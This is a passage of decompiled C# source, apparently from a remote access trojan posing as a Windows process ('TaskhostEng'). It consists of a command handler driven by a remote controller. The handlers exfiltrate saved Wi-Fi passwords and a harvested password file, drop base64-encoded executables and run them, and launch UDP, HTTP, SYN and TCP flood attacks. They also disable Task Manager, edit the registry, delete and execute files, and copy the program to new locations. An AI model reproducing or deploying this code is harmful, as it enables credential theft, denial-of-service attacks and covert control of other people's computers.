- int num17 = TaskhostEng.WifiRich1.Lines.Length - 1;
- for (int num18 = num16; num18 <= num17; num18++)
- {
- TaskhostEng.C.Send("getsavedwifi" + TaskhostEng.Yy + TaskhostEng.WifiRich1.Lines[num18]);
- }
- }
- else if (Operators.CompareString(left, "wifiexe", false) == 0)
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- Process.Start(Path.GetTempPath() + array[1]);
- }
- else if (Operators.CompareString(left, "getthisWifiinfo", false) == 0)
- {
- string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\passes.txt";
- StreamReader streamReader3 = File.OpenText(path);
- TaskhostEng.WifiRich1.Text = streamReader3.ReadToEnd();
- streamReader3.Close();
- int num19 = 0;
- int num20 = TaskhostEng.WifiRich1.Lines.Length - 1;
- for (int num21 = num19; num21 <= num20; num21++)
- {
- TaskhostEng.C.Send("wifipassword" + TaskhostEng.Yy + TaskhostEng.WifiRich1.Lines[num21]);
- }
- TaskhostEng.C.Send("wifidone");
- }
- else if (Operators.CompareString(left, "viewlan", false) == 0)
- {
- TaskhostEng.C.Send("RRSSRRSS");
- TaskhostEng.stoplan = false;
- }
- else if (Operators.CompareString(left, "Stoplan", false) == 0)
- {
- TaskhostEng.stoplan = true;
- }
- else
- {
- if (Operators.CompareString(left, "getlan", false) == 0)
- {
- try
- {
- TaskhostEng.lanstart();
- return;
- }
- catch (Exception ex16)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "wifi2", false) == 0)
- {
- TaskhostEng.getwifis2();
- }
- else if (Operators.CompareString(left, "scanlan", false) == 0)
- {
- string hostName2 = array[1];
- IPHostEntry hostByName2 = Dns.GetHostByName(hostName2);
- IPAddress[] addressList2 = hostByName2.AddressList;
- string ip = addressList2[0].ToString();
- TaskhostEng.scanlan(ip, array[2], array[3]);
- }
- else if (Operators.CompareString(left, "scansite", false) == 0)
- {
- TaskhostEng.scansite(array[1], array[2], array[3]);
- }
- else if (Operators.CompareString(left, "sitescanner", false) == 0)
- {
- TaskhostEng.C.Send("opensacnner");
- }
- else if (Operators.CompareString(left, "devicesinfo", false) == 0)
- {
- TaskhostEng.C.Send("showinfo");
- }
- else if (Operators.CompareString(left, "openRG", false) == 0)
- {
- TaskhostEng.C.Send("openRG");
- }
- else if (Operators.CompareString(left, "RG", false) == 0)
- {
- object key = TaskhostEng.GetKey(array[2]);
- string left2 = array[1];
- if (Operators.CompareString(left2, "~", false) == 0)
- {
- string str3 = string.Concat(new string[]
- {
- "RG",
- TaskhostEng.Yy,
- "~",
- TaskhostEng.Yy,
- array[2],
- TaskhostEng.Yy
- });
- string text19 = "";
- try
- {
- foreach (object value5 in ((IEnumerable)NewLateBinding.LateGet(key, null, "GetSubKeyNames", new object[0], null, null, null)))
- {
- string text20 = Conversions.ToString(value5);
- if (!text20.Contains("\\"))
- {
- text19 = text19 + text20 + TaskhostEng.Yy;
- }
- }
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- {
- (enumerator as IDisposable).Dispose();
- }
- }
- try
- {
- foreach (object value6 in ((IEnumerable)NewLateBinding.LateGet(key, null, "GetValueNames", new object[0], null, null, null)))
- {
- string text21 = Conversions.ToString(value6);
- string[] array4 = new string[7];
- array4[0] = text19;
- array4[1] = text21;
- array4[2] = "/";
- string[] array17 = array4;
- int num22 = 3;
- object instance2 = key;
- Type type2 = null;
- string memberName2 = "GetValueKind";
- object[] array18 = new object[]
- {
- text21
- };
- object[] arguments2 = array18;
- string[] argumentNames2 = null;
- Type[] typeArguments2 = null;
- bool[] array19 = new bool[]
- {
- true
- };
- object obj2 = NewLateBinding.LateGet(instance2, type2, memberName2, arguments2, argumentNames2, typeArguments2, array19);
- if (array19[0])
- {
- text21 = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array18[0]), typeof(string));
- }
- array17[num22] = obj2.ToString();
- array4[4] = "/";
- string[] array20 = array4;
- int num23 = 5;
- object instance3 = key;
- Type type3 = null;
- string memberName3 = "GetValue";
- object[] array2 = new object[]
- {
- text21,
- ""
- };
- object[] arguments3 = array2;
- string[] argumentNames3 = null;
- Type[] typeArguments3 = null;
- bool[] array7 = new bool[]
- {
- true,
- false
- };
- object obj3 = NewLateBinding.LateGet(instance3, type3, memberName3, arguments3, argumentNames3, typeArguments3, array7);
- if (array7[0])
- {
- text21 = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array2[0]), typeof(string));
- }
- array20[num23] = obj3.ToString();
- array4[6] = TaskhostEng.Yy;
- text19 = string.Concat(array4);
- }
- }
- finally
- {
- IEnumerator enumerator2;
- if (enumerator2 is IDisposable)
- {
- (enumerator2 as IDisposable).Dispose();
- }
- }
- TaskhostEng.C.Send(str3 + text19);
- }
- else if (Operators.CompareString(left2, "!", false) == 0)
- {
- object instance4 = key;
- Type type4 = null;
- string memberName4 = "SetValue";
- object[] array18 = new object[3];
- object[] array21 = array18;
- int num24 = 0;
- string[] array4 = array;
- string[] array22 = array4;
- int num2 = 3;
- array21[num24] = array22[num2];
- object[] array23 = array18;
- int num25 = 1;
- string[] array24 = array;
- string[] array25 = array24;
- int num26 = 4;
- array23[num25] = array25[num26];
- object[] array26 = array18;
- int num27 = 2;
- string[] array27 = array;
- string[] array28 = array27;
- int num28 = 5;
- array26[num27] = array28[num28];
- object[] array29 = array18;
- object[] arguments4 = array29;
- string[] argumentNames4 = null;
- Type[] typeArguments4 = null;
- bool[] array19 = new bool[]
- {
- true,
- true,
- true
- };
- NewLateBinding.LateCall(instance4, type4, memberName4, arguments4, argumentNames4, typeArguments4, array19, true);
- if (array19[0])
- {
- array4[num2] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
- }
- if (array19[1])
- {
- array24[num26] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[1]), typeof(string));
- }
- if (array19[2])
- {
- array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[2]), typeof(string));
- }
- }
- else if (Operators.CompareString(left2, "@5", false) == 0)
- {
- object instance5 = key;
- Type type5 = null;
- string memberName5 = "DeleteValue";
- object[] array18 = new object[2];
- object[] array30 = array18;
- int num29 = 0;
- string[] array27 = array;
- string[] array31 = array27;
- int num28 = 3;
- array30[num29] = array31[num28];
- array18[1] = false;
- object[] array29 = array18;
- object[] arguments5 = array29;
- string[] argumentNames5 = null;
- Type[] typeArguments5 = null;
- bool[] array19 = new bool[]
- {
- true,
- false
- };
- NewLateBinding.LateCall(instance5, type5, memberName5, arguments5, argumentNames5, typeArguments5, array19, true);
- if (array19[0])
- {
- array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
- }
- }
- else if (Operators.CompareString(left2, "#", false) == 0)
- {
- object instance6 = key;
- Type type6 = null;
- string memberName6 = "CreateSubKey";
- object[] array18 = new object[1];
- object[] array32 = array18;
- int num30 = 0;
- string[] array27 = array;
- string[] array33 = array27;
- int num28 = 3;
- array32[num30] = array33[num28];
- object[] array29 = array18;
- object[] arguments6 = array29;
- string[] argumentNames6 = null;
- Type[] typeArguments6 = null;
- bool[] array19 = new bool[]
- {
- true
- };
- NewLateBinding.LateCall(instance6, type6, memberName6, arguments6, argumentNames6, typeArguments6, array19, true);
- if (array19[0])
- {
- array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
- }
- }
- else if (Operators.CompareString(left2, "$", false) == 0)
- {
- object instance7 = key;
- Type type7 = null;
- string memberName7 = "DeleteSubKeyTree";
- object[] array18 = new object[1];
- object[] array34 = array18;
- int num31 = 0;
- string[] array27 = array;
- string[] array35 = array27;
- int num28 = 3;
- array34[num31] = array35[num28];
- object[] array29 = array18;
- object[] arguments7 = array29;
- string[] argumentNames7 = null;
- Type[] typeArguments7 = null;
- bool[] array19 = new bool[]
- {
- true
- };
- NewLateBinding.LateCall(instance7, type7, memberName7, arguments7, argumentNames7, typeArguments7, array19, true);
- if (array19[0])
- {
- array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
- }
- }
- }
- else if (Operators.CompareString(left, "FLOOD", false) == 0)
- {
- TaskhostEng.C.Send("FLOOD" + TaskhostEng.Yy);
- }
- else
- {
- if (Operators.CompareString(left, "Fstart", false) == 0)
- {
- try
- {
- string left3 = array[1];
- if (Operators.CompareString(left3, "UDP", false) == 0)
- {
- if (TaskhostEng.UDP.IsEnabled)
- {
- TaskhostEng.UDP.StopUDPz();
- }
- TaskhostEng.UDP.Host = array[2];
- TaskhostEng.UDP.Port = Conversions.ToInteger(array[3]);
- TaskhostEng.UDP.Threads = Conversions.ToInteger(array[4]);
- TaskhostEng.UDP.UDPzSockets = Conversions.ToInteger(array[5]);
- TaskhostEng.UDP.StartUDPz();
- return;
- }
- if (Operators.CompareString(left3, "HTTP", false) == 0)
- {
- if (TaskhostEng.HttpFlood.IsEnabled)
- {
- TaskhostEng.HttpFlood.StopHttpFlood();
- }
- TaskhostEng.HttpFlood.Host = array[2];
- TaskhostEng.HttpFlood.Interval = Conversions.ToInteger(array[3]);
- TaskhostEng.HttpFlood.Threads = Conversions.ToInteger(array[4]);
- TaskhostEng.HttpFlood.StartHttpFlood();
- return;
- }
- if (Operators.CompareString(left3, "SYN", false) == 0)
- {
- if (TaskhostEng.Syn.IsEnabled)
- {
- TaskhostEng.Syn.StopSuperSyn();
- }
- TaskhostEng.Syn.Host = array[2];
- TaskhostEng.Syn.Port = Conversions.ToInteger(array[3]);
- TaskhostEng.Syn.Threads = Conversions.ToInteger(array[4]);
- TaskhostEng.Syn.SuperSynSockets = Conversions.ToInteger(array[5]);
- TaskhostEng.Syn.StartSuperSyn();
- return;
- }
- if (Operators.CompareString(left3, "TCP", false) == 0)
- {
- object instance8 = TaskhostEng.tcpfuck;
- Type type8 = null;
- string memberName8 = "AddTarget";
- object[] array18 = new object[4];
- object[] array36 = array18;
- int num32 = 0;
- string[] array27 = array;
- string[] array37 = array27;
- int num28 = 2;
- array36[num32] = array37[num28];
- object[] array38 = array18;
- int num33 = 1;
- string[] array24 = array;
- string[] array39 = array24;
- int num26 = 3;
- array38[num33] = array39[num26];
- object[] array40 = array18;
- int num34 = 2;
- string[] array4 = array;
- string[] array41 = array4;
- int num2 = 4;
- array40[num34] = array41[num2];
- object[] array42 = array18;
- int num35 = 3;
- string[] array43 = array;
- string[] array44 = array43;
- int num36 = 5;
- array42[num35] = array44[num36];
- object[] array29 = array18;
- object[] arguments8 = array29;
- string[] argumentNames8 = null;
- Type[] typeArguments8 = null;
- bool[] array19 = new bool[]
- {
- true,
- true,
- true,
- true
- };
- NewLateBinding.LateCall(instance8, type8, memberName8, arguments8, argumentNames8, typeArguments8, array19, true);
- if (array19[0])
- {
- array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
- }
- if (array19[1])
- {
- array24[num26] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[1]), typeof(string));
- }
- if (array19[2])
- {
- array4[num2] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[2]), typeof(string));
- }
- if (array19[3])
- {
- array43[num36] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[3]), typeof(string));
- }
- NewLateBinding.LateCall(TaskhostEng.tcpfuck, null, "Start", new object[0], null, null, null, true);
- }
- return;
- }
- catch (Exception ex17)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "Fstop", false) == 0)
- {
- try
- {
- string left4 = array[1];
- if (Operators.CompareString(left4, "UDP", false) == 0)
- {
- TaskhostEng.UDP.StopUDPz();
- return;
- }
- if (Operators.CompareString(left4, "HTTP", false) == 0)
- {
- TaskhostEng.HttpFlood.StopHttpFlood();
- return;
- }
- if (Operators.CompareString(left4, "SYN", false) == 0)
- {
- TaskhostEng.Syn.StopSuperSyn();
- return;
- }
- if (Operators.CompareString(left4, "TCP", false) == 0)
- {
- NewLateBinding.LateCall(TaskhostEng.tcpfuck, null, "stop", new object[0], null, null, null, true);
- }
- return;
- }
- catch (Exception ex18)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "ddos", false) == 0)
- {
- Interaction.Shell("ping -t" + array[1] + "-l " + array[2], AppWinStyle.Hide, false, -1);
- }
- else if (Operators.CompareString(left, "NormalMouse", false) == 0)
- {
- TaskhostEng.SwapMouseButton(0L);
- }
- else if (Operators.CompareString(left, "ReverseMouse", false) == 0)
- {
- TaskhostEng.SwapMouseButton(0x100L);
- }
- else
- {
- if (Operators.CompareString(left, "opencd", false) == 0)
- {
- try
- {
- TaskhostEng.mciSendString("set cdaudio door open", Conversions.ToString(0), 0, (IntPtr)0);
- return;
- }
- catch (Exception ex19)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "closecd", false) == 0)
- {
- try
- {
- TaskhostEng.mciSendString("set cdaudio door closed", Conversions.ToString(0), 0, (IntPtr)0);
- return;
- }
- catch (Exception ex20)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "BepX", false) == 0)
- {
- TaskhostEng.Beep(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
- }
- else if (Operators.CompareString(left, "-----------", false) == 0)
- {
- TaskhostEng.Beep(0x3E8, 0x5DC);
- }
- else if (Operators.CompareString(left, "devicesinfo", false) == 0)
- {
- TaskhostEng.C.Send("showinfo");
- }
- else
- {
- if (Operators.CompareString(left, "cputemp", false) == 0)
- {
- try
- {
- ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\WMI", "SELECT * FROM MSAcpi_ThermalZoneTemperature");
- try
- {
- foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
- {
- ManagementObject managementObject = (ManagementObject)managementBaseObject;
- double num37 = Conversions.ToDouble(managementObject["CurrentTemperature"]);
- num37 = unchecked(num37 - 2732.0) / 10.0;
- TaskhostEng.C.Send("cputemp" + TaskhostEng.Yy + num37.ToString());
- }
- return;
- }
- finally
- {
- ManagementObjectCollection.ManagementObjectEnumerator enumerator3;
- if (enumerator3 != null)
- {
- ((IDisposable)enumerator3).Dispose();
- }
- }
- }
- catch (ManagementException ex21)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "visit", false) == 0)
- {
- string uriString = array[1];
- try
- {
- Uri requestUri = new Uri(uriString);
- HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(requestUri);
- if (httpWebRequest.GetResponse().ContentLength > 0L)
- {
- StreamReader streamReader4 = new StreamReader(httpWebRequest.GetResponse().GetResponseStream());
- streamReader4.ReadToEnd();
- streamReader4.Close();
- }
- return;
- }
- catch (WebException ex22)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "getinfonow", false) == 0)
- {
- try
- {
- foreach (TaskhostEng.Device device in TaskhostEng.Device.GetAllDevices())
- {
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "device",
- TaskhostEng.Yy,
- device.Name,
- TaskhostEng.Yy,
- device.Manufacturer,
- TaskhostEng.Yy,
- device.Service,
- TaskhostEng.Yy,
- device.PNPDeviceID,
- TaskhostEng.Yy,
- device.Description
- }));
- }
- }
- finally
- {
- List<TaskhostEng.Device>.Enumerator enumerator4;
- ((IDisposable)enumerator4).Dispose();
- }
- try
- {
- foreach (TaskhostEng.Device device2 in TaskhostEng.Device.GetNonWorkingDevices())
- {
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "nonworkingdevice",
- TaskhostEng.Yy,
- device2.Name,
- TaskhostEng.Yy,
- device2.Manufacturer,
- TaskhostEng.Yy,
- device2.Service,
- TaskhostEng.Yy,
- device2.PNPDeviceID,
- TaskhostEng.Yy,
- device2.Description
- }));
- }
- }
- finally
- {
- List<TaskhostEng.Device>.Enumerator enumerator5;
- ((IDisposable)enumerator5).Dispose();
- }
- TaskhostEng.PrinterList();
- }
- else if (Operators.CompareString(left, "ErorrMsg", false) == 0)
- {
- string left5 = array[1];
- MessageBoxIcon icon;
- if (Operators.CompareString(left5, "1", false) == 0)
- {
- icon = MessageBoxIcon.Asterisk;
- }
- else if (Operators.CompareString(left5, "2", false) == 0)
- {
- icon = MessageBoxIcon.Question;
- }
- else if (Operators.CompareString(left5, "3", false) == 0)
- {
- icon = MessageBoxIcon.Exclamation;
- }
- else if (Operators.CompareString(left5, "4", false) == 0)
- {
- icon = MessageBoxIcon.Hand;
- }
- string left6 = array[2];
- MessageBoxButtons buttons;
- if (Operators.CompareString(left6, "1", false) == 0)
- {
- buttons = MessageBoxButtons.YesNo;
- }
- else if (Operators.CompareString(left6, "2", false) == 0)
- {
- buttons = MessageBoxButtons.YesNoCancel;
- }
- else if (Operators.CompareString(left6, "3", false) == 0)
- {
- buttons = MessageBoxButtons.OK;
- }
- else if (Operators.CompareString(left6, "4", false) == 0)
- {
- buttons = MessageBoxButtons.OKCancel;
- }
- else if (Operators.CompareString(left6, "5", false) == 0)
- {
- buttons = MessageBoxButtons.RetryCancel;
- }
- else if (Operators.CompareString(left6, "6", false) == 0)
- {
- buttons = MessageBoxButtons.AbortRetryIgnore;
- }
- MessageBox.Show(array[4], array[3], buttons, icon);
- }
- else if (Operators.CompareString(left, "CursorShow", false) == 0)
- {
- Cursor.Show();
- }
- else if (Operators.CompareString(left, "TaskbarShow", false) == 0)
- {
- TaskhostEng.ShowTaskbarItems();
- }
- else if (Operators.CompareString(left, "TaskbarHide", false) == 0)
- {
- TaskhostEng.HideTaskbarItems();
- }
- else if (Operators.CompareString(left, "CursorHide", false) == 0)
- {
- Cursor.Hide();
- }
- else if (Operators.CompareString(left, "ClockOFF", false) == 0)
- {
- TaskhostEng.hideclock();
- }
- else if (Operators.CompareString(left, "ClockON", false) == 0)
- {
- TaskhostEng.showclock();
- }
- else if (Operators.CompareString(left, "DisableTaskManager", false) == 0)
- {
- MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableTaskMgr", "1", RegistryValueKind.DWord);
- }
- else if (Operators.CompareString(left, "EnableTaskManager", false) == 0)
- {
- MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableTaskMgr", "0", RegistryValueKind.DWord);
- }
- else if (Operators.CompareString(left, "TurnOffMonitor", false) == 0)
- {
- TaskhostEng.SendMessage(-1, 0x112U, 0xF170U, 2);
- }
- else if (Operators.CompareString(left, "TurnOnMonitor", false) == 0)
- {
- TaskhostEng.SendMessage(-1, 0x112U, 0xF170U, -1);
- }
- else if (Operators.CompareString(left, "viewwifi", false) == 0)
- {
- TaskhostEng.C.Send("wifi");
- }
- else if (Operators.CompareString(left, "stat", false) == 0)
- {
- TaskhostEng.C.Send("stat");
- }
- else if (Operators.CompareString(left, "getstat", false) == 0)
- {
- TaskhostEng.stati();
- TaskhostEng.getinterfaces();
- }
- else if (Operators.CompareString(left, "xxx", false) == 0)
- {
- TaskhostEng.programs();
- }
- else if (Operators.CompareString(left, "lDL", false) == 0)
- {
- string str4 = array[1];
- int num38 = Interaction.Shell("\"" + str4 + "\"", AppWinStyle.MinimizedFocus, false, -1);
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- SendKeys.Send("{ENTER}");
- }
- else if (Operators.CompareString(left, "msgbox", false) == 0)
- {
- string left7 = array[1];
- MessageBoxIcon icon2;
- if (Operators.CompareString(left7, "1", false) == 0)
- {
- icon2 = MessageBoxIcon.Asterisk;
- }
- else if (Operators.CompareString(left7, "2", false) == 0)
- {
- icon2 = MessageBoxIcon.Question;
- }
- else if (Operators.CompareString(left7, "3", false) == 0)
- {
- icon2 = MessageBoxIcon.Exclamation;
- }
- else if (Operators.CompareString(left7, "4", false) == 0)
- {
- icon2 = MessageBoxIcon.Hand;
- }
- string left8 = array[2];
- MessageBoxButtons buttons2;
- if (Operators.CompareString(left8, "1", false) == 0)
- {
- buttons2 = MessageBoxButtons.YesNo;
- }
- else if (Operators.CompareString(left8, "2", false) == 0)
- {
- buttons2 = MessageBoxButtons.YesNoCancel;
- }
- else if (Operators.CompareString(left8, "3", false) == 0)
- {
- buttons2 = MessageBoxButtons.OK;
- }
- else if (Operators.CompareString(left8, "4", false) == 0)
- {
- buttons2 = MessageBoxButtons.OKCancel;
- }
- else if (Operators.CompareString(left8, "5", false) == 0)
- {
- buttons2 = MessageBoxButtons.RetryCancel;
- }
- else if (Operators.CompareString(left8, "6", false) == 0)
- {
- buttons2 = MessageBoxButtons.AbortRetryIgnore;
- }
- MessageBox.Show(array[4], array[3], buttons2, icon2);
- }
- else if (Operators.CompareString(left, "piano", false) == 0)
- {
- TaskhostEng.Beep(Conversions.ToInteger(array[1]), 0x12C);
- }
- else if (Operators.CompareString(left, "IEhome", false) == 0)
- {
- TaskhostEng.AddHome(array[1]);
- }
- else if (Operators.CompareString(left, "openchat", false) == 0)
- {
- TaskhostEng.C.Send("readytochat");
- }
- else if (Operators.CompareString(left, "openurl", false) == 0)
- {
- if (Operators.CompareString(array[1], "Default", false) == 0)
- {
- try
- {
- Process.Start(array[2]);
- return;
- }
- catch (Exception ex23)
- {
- return;
- }
- }
- try
- {
- Process.Start(array[1], array[2]);
- }
- catch (Exception ex24)
- {
- }
- }
- else if (Operators.CompareString(left, "LockPC", false) == 0)
- {
- Process.Start("rundll32.exe", "user32.dll,LockWorkStation");
- }
- else if (Operators.CompareString(left, "shutdowncomputer", false) == 0)
- {
- Interaction.Shell("shutdown -s -t 00", AppWinStyle.Hide, false, -1);
- }
- else if (Operators.CompareString(left, "restartcomputer", false) == 0)
- {
- Interaction.Shell("shutdown -r -t 00", AppWinStyle.Hide, false, -1);
- }
- else if (Operators.CompareString(left, "logoff", false) == 0)
- {
- Interaction.Shell("shutdown -l -t 00", AppWinStyle.Hide, false, -1);
- }
- else if (Operators.CompareString(left, "sleep", false) == 0)
- {
- TaskhostEng.SetSuspendState(0, 1, 0);
- }
- else if (Operators.CompareString(left, "fun", false) == 0)
- {
- TaskhostEng.C.Send("fun");
- }
- else if (Operators.CompareString(left, "tt", false) == 0)
- {
- TaskhostEng.C.Send("tt");
- }
- else if (Operators.CompareString(left, "opentto", false) == 0)
- {
- TaskhostEng.C.Send("opentto");
- }
- else if (Operators.CompareString(left, "TextToSpeech", false) == 0)
- {
- object objectValue2 = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("SAPI.Spvoice", ""));
- object instance9 = objectValue2;
- Type type9 = null;
- string memberName9 = "speak";
- object[] array18 = new object[1];
- object[] array45 = array18;
- int num39 = 0;
- string[] array43 = array;
- string[] array46 = array43;
- int num36 = 1;
- array45[num39] = array46[num36];
- object[] array29 = array18;
- object[] arguments9 = array29;
- string[] argumentNames9 = null;
- Type[] typeArguments9 = null;
- bool[] array19 = new bool[]
- {
- true
- };
- NewLateBinding.LateCall(instance9, type9, memberName9, arguments9, argumentNames9, typeArguments9, array19, true);
- if (array19[0])
- {
- array43[num36] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
- }
- }
- else if (Operators.CompareString(left, "volup", false) == 0)
- {
- IntPtr handle = TaskhostEng.invoker.Handle;
- int msg = 0x319;
- IntPtr handle2 = TaskhostEng.invoker.Handle;
- IntPtr handle3 = new IntPtr(0xA0000);
- TaskhostEng.SendMessageW(handle, msg, handle2, handle3);
- }
- else if (Operators.CompareString(left, "voldn", false) == 0)
- {
- IntPtr handle4 = TaskhostEng.invoker.Handle;
- int msg2 = 0x319;
- IntPtr handle5 = TaskhostEng.invoker.Handle;
- IntPtr handle3 = new IntPtr(0x90000);
- TaskhostEng.SendMessageW(handle4, msg2, handle5, handle3);
- }
- else if (Operators.CompareString(left, "mute", false) == 0)
- {
- IntPtr handle6 = TaskhostEng.invoker.Handle;
- int msg3 = 0x319;
- IntPtr handle7 = TaskhostEng.invoker.Handle;
- IntPtr handle3 = new IntPtr(0x80000);
- TaskhostEng.SendMessageW(handle6, msg3, handle7, handle3);
- }
- else if (Operators.CompareString(left, "clipss", false) == 0)
- {
- TaskhostEng.C.Send("clipss" + TaskhostEng.Yy);
- }
- else if (Operators.CompareString(left, "getcli", false) == 0)
- {
- TaskhostEng.invoker.Invoke(new TaskhostEng.gt(delegate()
- {
- TaskhostEng.gtx();
- }));
- }
- else if (Operators.CompareString(left, "chat", false) == 0)
- {
- TaskhostEng.invoker.Invoke(new TaskhostEng.chatappd(TaskhostEng.chatappds), new object[]
- {
- array[1],
- array[2],
- array[3]
- });
- }
- else if (Operators.CompareString(left, "hotspot", false) == 0)
- {
- TaskhostEng.C.Send("hotspot");
- }
- else if (Operators.CompareString(left, "createwifi", false) == 0)
- {
- TaskhostEng.CreateHotspot(array[1], array[2]);
- }
- else if (Operators.CompareString(left, "stophotspot", false) == 0)
- {
- TaskhostEng.stophotspot();
- }
- else if (Operators.CompareString(left, "stopchat", false) == 0)
- {
- TaskhostEng.Form2.close();
- TaskhostEng.Form2.Showed = false;
- }
- else if (Operators.CompareString(left, "bsod", false) == 0)
- {
- TaskhostEng.BSOD();
- }
- else if (Operators.CompareString(left, "pass1exe", false) == 0)
- {
- if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1"))
- {
- File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- }
- else
- {
- Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\");
- File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- }
- }
- else if (Operators.CompareString(left, "pass2exe", false) == 0)
- {
- if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1"))
- {
- File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1]);
- }
- else
- {
- Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\");
- File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1\\" + array[1]);
- }
- }
- else if (Operators.CompareString(left, "passwords", false) == 0)
- {
- TaskhostEng.C.Send("openpw");
- }
- else
- {
- if (Operators.CompareString(left, "givepass", false) == 0)
- {
- try
- {
- if (File.Exists(MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments + "\\1\\pass.txt"))
- {
- string str5 = File.ReadAllText(MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments + "\\1\\pass.txt");
- TaskhostEng.C.Send("givepassx" + TaskhostEng.Yy + str5);
- return;
- }
- Process.Start(MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments + "\\1\\2.exe");
- return;
- }
- catch (Exception ex25)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "delpass", false) == 0)
- {
- if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1"))
- {
- Directory.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\1", true);
- }
- }
- else if (Operators.CompareString(left, "viewimage", false) == 0)
- {
- TaskhostEng.C.Send("viewimage" + TaskhostEng.Yy + Convert.ToBase64String(File.ReadAllBytes(array[1])) + TaskhostEng.Yy);
- }
- else if (Operators.CompareString(left, "GetDrives", false) == 0)
- {
- TaskhostEng.C.Send("FileManager" + TaskhostEng.Yy + TaskhostEng.getDrives());
- }
- else
- {
- if (Operators.CompareString(left, "FileManager", false) == 0)
- {
- try
- {
- TaskhostEng.C.Send("FileManager" + TaskhostEng.Yy + TaskhostEng.getFolders(array[1]) + TaskhostEng.getFiles(array[1]));
- return;
- }
- catch (Exception ex26)
- {
- TaskhostEng.C.Send("FileManager" + TaskhostEng.Yy + "Error");
- return;
- }
- }
- if (Operators.CompareString(left, "\\\\", false) == 0)
- {
- TaskhostEng.C.Send("\\\\");
- }
- else if (Operators.CompareString(left, "Delete", false) == 0)
- {
- string left9 = array[1];
- if (Operators.CompareString(left9, "Folder", false) == 0)
- {
- Directory.Delete(array[2]);
- }
- else if (Operators.CompareString(left9, "File", false) == 0)
- {
- File.Delete(array[2]);
- }
- }
- else if (Operators.CompareString(left, "Execute", false) == 0)
- {
- Process.Start(array[1]);
- }
- else if (Operators.CompareString(left, "Exletn", false) == 0)
- {
- Process process7 = new Process
- {
- StartInfo = new ProcessStartInfo(array[1])
- {
- Verb = "runas",
- UseShellExecute = true
- }
- };
- process7.Start();
- }
- else
- {
- if (Operators.CompareString(left, "CpoSx", false) == 0)
- {
- try
- {
- File.Copy(Application.ExecutablePath, Conversions.ToString(Operators.AddObject(array[1] + "\\", TaskhostEng.vvname)), true);
- return;
- }
- catch (Exception ex27)
- {
- Interaction.MsgBox(ex27.Message, MsgBoxStyle.OkOnly, null);
- return;
- }
- }
- if (Operators.CompareString(left, "IOPPYR", false) == 0)
- {
- try
- {
